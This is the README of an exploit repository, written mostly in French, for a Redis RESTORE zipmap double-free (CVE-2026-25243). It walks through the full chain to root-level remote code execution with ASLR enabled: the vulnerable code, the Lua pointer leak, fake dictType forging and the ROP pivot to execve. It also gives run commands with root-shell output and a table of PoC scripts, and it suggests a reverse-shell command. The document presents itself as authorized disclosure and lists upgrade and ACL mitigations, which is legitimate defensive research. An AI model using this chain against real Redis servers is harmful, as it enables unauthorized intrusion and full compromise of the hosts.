
CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé).
RESTORE → exécution de code à distanceTL;DR. Une charge utile
DUMPmalformée passée àRESTOREdéclenche un double-free du tas dans le chargeur hérité hash-zipmap de Redis. Avec le jemalloc par défaut, le double-free est silencieux (le serveur continue de tourner), ce qui en fait une primitive de type confusion contrôlable. Ce dépôt enchaîne cela en exécution de code à distance avec ASLR activé — le worker Redis appellesystem("<chaîne de l'attaquant>")et continue à servir. Pas un DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
La fuite qui neutralise l'ASLR n'utilise pas DEBUG — elle lit l'adresse de la fermeture C de Lua redis.call
(EVAL 'return tostring(redis.call)'), la même technique autonome et sans DEBUG que notre exploit
Redis précédent. blob_base/blob_robj et la base PIE sont ensuite dérivés à l'exécution à partir de la
lecture hors limites (aucun décalage fixe). La fin en PIE-ROP appelle execve@plt via un stack-pivot JOP, elle n'utilise donc
aucune adresse libc — les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE lus depuis le binaire
redis-server, exactement comme la table de gadgets par compilation de notre précédent exploit HLL. Vérifié uid=0(root),
ASLR activé, 8/8, sur un serveur par défaut avec DEBUG désactivé.
Deux finalisations sont fournies.
poc_rce_aslr_pie_rop.py(ci-dessus) est la plus autonome — pas de libc, entièrement auto-calibrée — maisexecveremplace le worker (utilisez un--cmdde reverse-shell ; idéal pour un vrai shell).poc_rce_aslr_selfcal.pygarde le worker vivant (system()fork) au prix de deux décalages de version de libc. Choisissez selon que vous avez besoin que le serveur survive.
RESTORE key 0 <DUMP-payload> désérialise un objet sérialisé. Pour le type hérité RDB_TYPE_HASH_ZIPMAP
(0x09), le validateur et le convertisseur ne sont pas d'accord sur le nombre d'octets qu'occupe un champ de longueur :
zipmapValidateIntegrity() parcourt avec la taille réellement encodée (5 pour le préfixe surdimensionné 0xFE) ;zipmapNext() lors de la conversion zipmap → listpack utilise 1 octet pour toute longueur décodée < 254.Une petite longueur écrite sous la forme surdimensionnée de 5 octets passe la validation mais fait
se décaler zipmapNext() de 4 octets. Deux conséquences découlent du même mauvais décalage : une lecture hors limites du tas
(zipmap.c) et, uniquement dans Redis, un double-free du tas dans le chargeur hash-zipmap de rdb.c :
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey protège cela (if (!field_added) sdsfree(field)) ; Redis en amont ne le faisait pas, donc le double-free est
exclusif à Redis. Le correctif rejette la courte longueur encodée de façon surdimensionnée et réordonne les vérifications au moment du chargement.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
Le dictType factice est planté dans une chaîne de 16 Mo (SETRANGE) au seul décalage dont les octets de poids faible
de l'adresse correspondent à l'en-tête sds de la chaîne de l'attaquant. L'ASLR est vaincu entièrement à l'exécution :
system — une seule fuite de pointeur tas. Le chemin recommandé est sans DEBUG : l'adresse de
la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)') — la même fuite autonome
qu'utilise notre précédent exploit Redis. Les arènes jemalloc se trouvent à un décalage constant de libc, donc
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT n'est qu'une commodité de laboratoire quand le scripting
est désactivé mais que DEBUG est activé — la configuration plus rare.)SET pour que son membre soit une sds SDS_TYPE_32 de 107 Ko, SMEMBERS fait une lecture hors limites
du tas adjacent, et le robj.ptr du blob est lu à son décalage connu.Voir WRITEUP.md pour l'analyse complète primitive par primitive et les détails jemalloc /
Redis-8.x durement acquis (frontière de la classe 64, marquage des entrées de dict, mstr des champs de hachage, pré-croissance du keyspace).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)La fuite de pointeur tas d'amorçage suit la même approche que notre précédent exploit Redis : fuiter l'
adresse de la fermeture C de Lua redis.call avec EVAL 'return tostring(redis.call)'. Le scripting Lua est activé par
défaut ; DEBUG est désactivé par défaut (enable-debug-command no) — la fuite Lua est donc la voie réaliste
principale, et DEBUG OBJECT (poc_rce_aslr.py) n'est qu'une commodité de laboratoire. poc_rce_aslr_selfcal.py dérive ensuite
blob_base et blob_robj à l'exécution à partir de la lecture hors limites (recherche de la signature du robj du blob de 16 Mo),
donc DLUA/DFOBJ n'ont besoin d'être que proches.
Pour la finalisation system, la lecture hors limites du petit tas ne contient aucun pointeur libc, donc libc ne peut pas être
auto-dérivé — poc_rce_aslr_selfcal.py conserve deux décalages de version de libc (DLIBC, SYSTEM_OFF). La
finalisation poc_rce_aslr_pie_rop.py supprime entièrement cette dépendance : la même lecture hors limites contient bien des
pointeurs PIE (un dictType partagé apparaît à plusieurs reprises), donc la base PIE est auto-calibrée comme
most-common-PIE-value − DICTTYPE_OFF, et la chaîne se termine en execve@plt via un stack-pivot JOP
(mov rbp,rdi; call *0x8(rax) → leave;ret fait pivoter rsp sur le champ HGET contrôlé par l'attaquant, qui
est la chaîne ROP execve("/bin/sh","-c",<cmd>)). Les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE
lus depuis — extrayez-les par cible avec /, exactement comme
notre précédent exploit HLL associe une table de gadgets à chaque Build-ID ELF. Aucune adresse libc n'est utilisée.
screenshots/05-pie-rop-libc-free.png (l'auto-calibrage NO libc + uid=0, la démonstration la plus autonome),
01-rce-aslr-on.png (la capture clé uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (le code),
et 04-debug-free-selfcal.png (l'exécution system sans DEBUG et auto-calibrée sur un Redis par défaut).
RESTORE est une commande ordinaire — sur un Redis non authentifié/exposé
(sans requirepass), tout client connecté peut l'exécuter ; sur une instance authentifiée, tout utilisateur sans
un refus ACL -restore peut le faire. Même profil d'accès que les commandes de structures de données utilisées par d'autres RCE Redis.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — c.-à-d. 6.2.x jusqu'aux 8.x actuelles ;
Valkey n'est concerné que par le DoS/la lecture hors limites (sa protection field_added bloque le double-free).Mettez à niveau vers une version corrigée. Si vous ne le pouvez pas : restreignez RESTORE (ACL … -restore), n'exposez jamais Redis
sans authentification, et désactivez DEBUG.
Recherche de sécurité autorisée, publiée pour la sensibilisation des défenseurs. Ne lancez pas cela contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
| fichier | ce qu'il démontre |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | la plus autonome — RCE sur un Redis par DÉFAUT (DEBUG désactivé), AUCUN décalage libc ; auto-calibre blob_base/blob_robj/pie_base ; execve@plt via pivot JOP (le worker est remplacé). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | survit au worker — même chaîne mais hashFunction=&system (fork) ; coûte deux décalages de version libc (DLIBC/SYSTEM_OFF). Fuite de fermeture Lua, auto-calibrage de blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | sans DEBUG (fuite Lua), mais avec des décalages fixes (calibrés avec DEBUG activé) |
exploits/poc_rce_aslr.py | variante de commodité laboratoire : fuite d'amorçage DEBUG OBJECT (nécessite DEBUG activé) |
exploits/poc_rce_aslr_off.py | RCE avec ASLR désactivé (adresses calibrées) |
exploits/poc_typeconfusion.py | double-free → deux clés partagent un même tampon du tas (sans outillage) |
exploits/poc_doublefree.py | le double-free (ASan : heap-use-after-free dans sdsfree) |
exploits/poc_dos_overread.py | le crash de lecture hors limites (ASan) |
redis-serverROPgadgetobjdump